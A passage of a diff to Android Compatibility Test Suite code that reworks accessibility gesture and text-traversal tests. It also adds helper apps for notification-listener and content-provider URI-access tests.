-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous word and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -2801,15 +2783,6 @@
         assertEquals(34, Selection.getSelectionStart(editText.getText()));
         assertEquals(34, Selection.getSelectionEnd(editText.getText()));
 
-        // Unocus the view so we can hide the keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous line and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -3560,15 +3533,6 @@
         assertEquals(47, Selection.getSelectionStart(editText.getText()));
         assertEquals(47, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous paragraph and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index c64eaa3..32d8a82 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -27,6 +27,7 @@
 import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
 import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
 import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
 import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
@@ -181,17 +182,35 @@
     public void testPanning() {
         //The minimum movement to transit to panningState.
         final float minSwipeDistance = ViewConfiguration.get(
-                mInstrumentation.getContext()).getScaledTouchSlop();
+                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
         final boolean screenBigEnough = mPan > minSwipeDistance;
         if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
-        PointF oldCenter = mCurrentZoomCenter;
+        final PointF oldCenter = mCurrentZoomCenter;
 
-        dispatch(
-                swipe(mTapLocation, add(mTapLocation, -mPan, 0)),
-                swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
+        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+        // to panningState, and the second one to moves the window.
+        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+        final long totalDuration = ViewConfiguration.getTapTimeout();
+        final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
+
+        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+            final PointF endPoint = add(startPoint, -mPan, 0);
+            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+                    0, firstDuration, true);
+            final StrokeDescription secondStroke = firstStroke.continueStroke(
+                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+            builder1.addStroke(firstStroke);
+            builder2.addStroke(secondStroke);
+        }
+
+        dispatch(builder1.build());
+        dispatch(builder2.build());
 
         waitOn(mZoomLock,
                 () -> (mCurrentZoomCenter.x - oldCenter.x
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 80a3054..b0f3570 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -61,6 +61,7 @@
 import android.graphics.Region;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
+import android.util.TypedValue;
 import android.view.Display;
 import android.view.View;
 import android.view.ViewConfiguration;
@@ -86,7 +87,7 @@
 @AppModeFull
 public class TouchExplorerTest {
     // Constants
-    private static final float GESTURE_LENGTH_INCHES = 1.0f;
+    private static final float GESTURE_LENGTH_MMS = 10.0f;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
     private UiAutomation mUiAutomation;
@@ -114,8 +115,7 @@
     public final RuleChain mRuleChain =
             RuleChain.outerRule(mActivityRule).around(mServiceRule).around(mDumpOnFailureRule);
 
-    Point mCenter; // Center of screen. Gestures all start from this point.
-    PointF mTapLocation;
+    PointF mTapLocation; // Center of activity. Gestures all start from around this point.
     float mSwipeDistance;
     View mView;
 
@@ -129,17 +129,19 @@
         mHasTouchscreen =
                 pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                         || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-        // Find screen size, check that it is big enough for gestures.
-        // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+        // Find window size, check that it is big enough for gestures.
+        // Gestures will start in the center of the window, so we need enough horiz/vert space.
+        mService = mServiceRule.enableService();
+        mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
         WindowManager windowManager =
                 (WindowManager)
                         mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+        mScreenBigEnough = mView.getWidth() / 2 >  TypedValue.applyDimension(
+                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        mService = mServiceRule.enableService();
-        mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+
         mView.setOnHoverListener(mHoverListener);
         mView.setOnTouchListener(mTouchListener);
         mInstrumentation.runOnMainSync(
@@ -149,9 +151,8 @@
                     final int midX = mView.getWidth() / 2;
                     final int midY = mView.getHeight() / 2;
                     mView.getLocationOnScreen(viewLocation);
-                    mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
-                    mTapLocation = new PointF(mCenter);
-                    mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+                    mTapLocation = new PointF(viewLocation[0] + midX, viewLocation[1] + midY);
+                    mSwipeDistance = mView.getWidth() / 4;
                     mSwipeTimeMillis = (long) mSwipeDistance * 4;
                     mView.setOnClickListener(mClickListener);
                     mView.setOnLongClickListener(mLongClickListener);
@@ -482,7 +483,7 @@
     @AppModeFull
     public void testGestureDetectionPassthrough_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        setRightSideOfScreenGestureDetectionPassthrough();
+        setRightSideOfActivityWindowGestureDetectionPassthrough();
         // Swipe in the passthrough region. This should generate hover events.
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
@@ -524,7 +525,7 @@
     @AppModeFull
     public void testTouchExplorationPassthrough_sendsTouchEvents() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        setRightSideOfScreenTouchExplorationPassthrough();
+        setRightSideOfActivityWindowTouchExplorationPassthrough();
         // Swipe in the passthrough region. This should generate  touch events.
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
         mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
@@ -576,16 +577,16 @@
                 });
     }
 
-    private void setRightSideOfScreenGestureDetectionPassthrough() {
-        Region region = getRightSideOfScreenRegion();
+    private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
+        Region region = getRightSideOfActivityWindowRegion();
         mService.runOnServiceSync(
                 () -> {
                     mService.setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, region);
                 });
     }
 
-    private void setRightSideOfScreenTouchExplorationPassthrough() {
-        Region region = getRightSideOfScreenRegion();
+    private void setRightSideOfActivityWindowTouchExplorationPassthrough() {
+        Region region = getRightSideOfActivityWindowRegion();
         mService.runOnServiceSync(
                 () -> {
                     mService.setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, region);
@@ -602,16 +603,14 @@
                 });
     }
 
-    private Region getRightSideOfScreenRegion() {
-        WindowManager windowManager =
-                (WindowManager)
-                        mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
-        final DisplayMetrics metrics = new DisplayMetrics();
-        windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        int top = 0;
-        int left = metrics.widthPixels / 2;
-        int right = metrics.widthPixels;
-        int bottom = metrics.heightPixels;
+    private Region getRightSideOfActivityWindowRegion() {
+        int[] viewLocation = new int[2];
+        mView.getLocationOnScreen(viewLocation);
+
+        int top = viewLocation[1];
+        int left = viewLocation[0]  + mView.getWidth() / 2;
+        int right = viewLocation[0]  + mView.getWidth();
+        int bottom = viewLocation[1] + mView.getHeight();
         Region region = new Region(left, top, right, bottom);
         return region;
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
index 2cd28c5..aba32d2 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
@@ -15,6 +15,7 @@
 package android.accessibilityservice.cts.activities;
 
 import android.os.Bundle;
+import android.view.WindowManager;
 
 import android.accessibilityservice.cts.R;
 
@@ -28,5 +29,7 @@
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.accessibility_text_traversal_test);
+        getWindow().setSoftInputMode(
+            WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 44fd804..34b3fc8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -279,8 +279,8 @@
                     AccessibilityNodeInfo node = event.getSource();
                     if (node != null) {
                         final AccessibilityWindowInfo window = node.getWindow();
-                        if(TextUtils.equals(activityTitle, window.getTitle())) {
-                            return  true;
+                        if(!TextUtils.equals(activityTitle, window.getTitle())) {
+                            return  false;
                         }
                     }
                     final AccessibilityWindowInfo window =
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 6428109..15d8131 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -33,7 +33,10 @@
         "platformprotosnano",
         "permission-test-util-lib"
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 645d233..465b633 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -33,6 +33,8 @@
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
         <option name="test-file-name" value="NotificationDelegator.apk" />
+        <option name="test-file-name" value="NotificationProvider.apk" />
+        <option name="test-file-name" value="NotificationListener.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
         <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
     </target_preparer>
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index c3fcf4c..fe194f2 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -101,7 +101,7 @@
     private static final int EXIT_CODE = 123;
     private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
 
-    private static final int WAITFOR_MSEC = 5000;
+    private static final int WAITFOR_MSEC = 10000;
     private static final int WAITFOR_SETTLE_DOWN = 2000;
 
     private static final int CMD_PID = 1;
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
new file mode 100644
index 0000000..96a0c3c
--- /dev/null
+++ b/tests/app/NotificationListener/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NotificationListener",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+        "**/*.kt",
+        "src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+    platform_apis: true,
+    sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationListener/AndroidManifest.xml b/tests/app/NotificationListener/AndroidManifest.xml
new file mode 100644
index 0000000..f510637
--- /dev/null
+++ b/tests/app/NotificationListener/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationlistener">
+    <application android:label="Notification Listener">
+
+        <service android:name=".NotificationUriAccessService"
+                 android:exported="true"/>
+
+        <service android:name=".TestNotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/tests/app/NotificationListener/res/layout/activity.xml
similarity index 66%
rename from hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
rename to tests/app/NotificationListener/res/layout/activity.xml
index bf43931..f001f29 100644
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ b/tests/app/NotificationListener/res/layout/activity.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -15,13 +15,17 @@
 -->
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:orientation="vertical">
-  <com.android.server.cts.device.statsd.DaveyView
-      android:id="@+id/davey_view"
-      android:layout_width="match_parent"
-      android:layout_height="match_parent"
-      custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml b/tests/app/NotificationListener/res/values/strings.xml
similarity index 74%
copy from hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
copy to tests/app/NotificationListener/res/values/strings.xml
index f40d070..e19d5bf 100644
--- a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
+++ b/tests/app/NotificationListener/res/values/strings.xml
@@ -14,9 +14,6 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.device.statsd.emptyapp">
-    <application android:hasCode="false" android:label="Empty Test App" />
-</manifest>
-
+<resources>
+    <string name="activity_description">This app has a listener and an service used for tests</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
similarity index 60%
copy from hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
copy to tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
index 3e52342..eb93179 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,15 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.server.cts.device.statsd;
+package com.android.test.notificationlistener;
 
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
-
-public class DummyCallscreeningService extends CallScreeningService {
-    @Override
-    public void onScreenCall(@NonNull Call.Details callDetails) {
-
-    }
+interface INotificationUriAccessService {
+    void ensureNotificationListenerServiceConnected(boolean connected);
+    boolean isFileUriAccessible(in android.net.Uri uri);
 }
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
new file mode 100644
index 0000000..5e6e469
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.app.NotificationManager
+import android.app.Service
+import android.content.Intent
+import android.net.Uri
+import android.os.IBinder
+import java.io.IOException
+
+class NotificationUriAccessService : Service() {
+    private inner class MyNotificationUriAccessService : INotificationUriAccessService.Stub() {
+        @Throws(IllegalStateException::class)
+        override fun ensureNotificationListenerServiceConnected(ensureConnected: Boolean) {
+            val nm = getSystemService(NotificationManager::class.java)!!
+            val testListener = TestNotificationListener.componentName
+            check(nm.isNotificationListenerAccessGranted(testListener) == ensureConnected) {
+                "$testListener has incorrect listener access; expected=$ensureConnected"
+            }
+            val listener = TestNotificationListener.instance
+            if (ensureConnected) {
+                check(listener != null) {
+                    "$testListener has not been created, but should be connected"
+                }
+            }
+            val isConnected = listener?.isConnected ?: false
+            check(isConnected == ensureConnected) {
+                "$testListener has incorrect listener connection state; expected=$ensureConnected"
+            }
+        }
+
+        override fun isFileUriAccessible(uri: Uri?): Boolean {
+            try {
+                contentResolver.openAssetFile(uri!!, "r", null).use { return true }
+            } catch (e: SecurityException) {
+                return false
+            } catch (e: IOException) {
+                throw IllegalStateException("Exception without security error", e)
+            }
+        }
+    }
+
+    private val mBinder = MyNotificationUriAccessService()
+    override fun onBind(intent: Intent): IBinder? {
+        return mBinder
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
new file mode 100644
index 0000000..19c7d82
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.content.ComponentName
+import android.service.notification.NotificationListenerService
+
+class TestNotificationListener : NotificationListenerService() {
+    var isConnected = false
+
+    override fun onListenerConnected() {
+        super.onListenerConnected()
+        instance = this
+        isConnected = true
+    }
+
+    override fun onListenerDisconnected() {
+        super.onListenerDisconnected()
+        isConnected = false
+    }
+
+    companion object {
+        var instance: TestNotificationListener? = null
+            private set
+        val componentName: ComponentName by lazy {
+            val javaClass = TestNotificationListener::class.java
+            ComponentName(javaClass.getPackage().name, javaClass.name)
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/app/NotificationProvider/Android.bp
similarity index 77%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/app/NotificationProvider/Android.bp
index f720d7d..26e69d7 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -11,16 +11,17 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
 android_test_helper_app {
-    name: "CtsInstalltimePermissionUserApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
+    name: "NotificationProvider",
+    defaults: ["cts_support_defaults"],
+    srcs: ["**/*.java", "**/*.kt"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "vts10",
         "general-tests",
     ],
-    certificate: ":cts-testkey2",
+    platform_apis: true,
+    sdk_version: "current",
 }
diff --git a/tests/app/NotificationProvider/AndroidManifest.xml b/tests/app/NotificationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..09ae4b0
--- /dev/null
+++ b/tests/app/NotificationProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.test.notificationprovider">
+    <application android:label="Notification Provider">
+        <activity android:name=".RichNotificationActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name=".AssetFileProvider"
+            android:authorities="com.android.test.notificationprovider.provider"
+            android:exported="false"
+            android:grantUriPermissions="true"
+            />
+
+    </application>
+</manifest>
diff --git a/tests/app/NotificationProvider/assets/background7.png b/tests/app/NotificationProvider/assets/background7.png
new file mode 100644
index 0000000..20c22f7
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background7.png
Binary files differ
diff --git a/tests/app/NotificationProvider/assets/background8.png b/tests/app/NotificationProvider/assets/background8.png
new file mode 100644
index 0000000..a7a593d
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background8.png
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/tests/app/NotificationProvider/res/layout/activity.xml
similarity index 66%
copy from hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
copy to tests/app/NotificationProvider/res/layout/activity.xml
index bf43931..f001f29 100644
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ b/tests/app/NotificationProvider/res/layout/activity.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -15,13 +15,17 @@
 -->
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:orientation="vertical">
-  <com.android.server.cts.device.statsd.DaveyView
-      android:id="@+id/davey_view"
-      android:layout_width="match_parent"
-      android:layout_height="match_parent"
-      custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml b/tests/app/NotificationProvider/res/values/strings.xml
similarity index 74%
rename from hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
rename to tests/app/NotificationProvider/res/values/strings.xml
index f40d070..266ea53 100644
--- a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
+++ b/tests/app/NotificationProvider/res/values/strings.xml
@@ -14,9 +14,6 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.device.statsd.emptyapp">
-    <application android:hasCode="false" android:label="Empty Test App" />
-</manifest>
-
+<resources>
+    <string name="activity_description">This app has a provider and posts notifications</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
new file mode 100644
index 0000000..af10f1b
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+    override fun onCreate(): Boolean {
+        return true
+    }
+
+    override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+        val assets = context?.assets
+        val filename = uri.lastPathSegment
+        if (mode == "r" && assets != null && filename != null) {
+            return assets.openFd(filename)
+        }
+        return super.openAssetFile(uri, mode)
+    }
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun getType(uri: Uri): String? {
+        return null
+    }
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
+        throw UnsupportedOperationException()
+    }
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
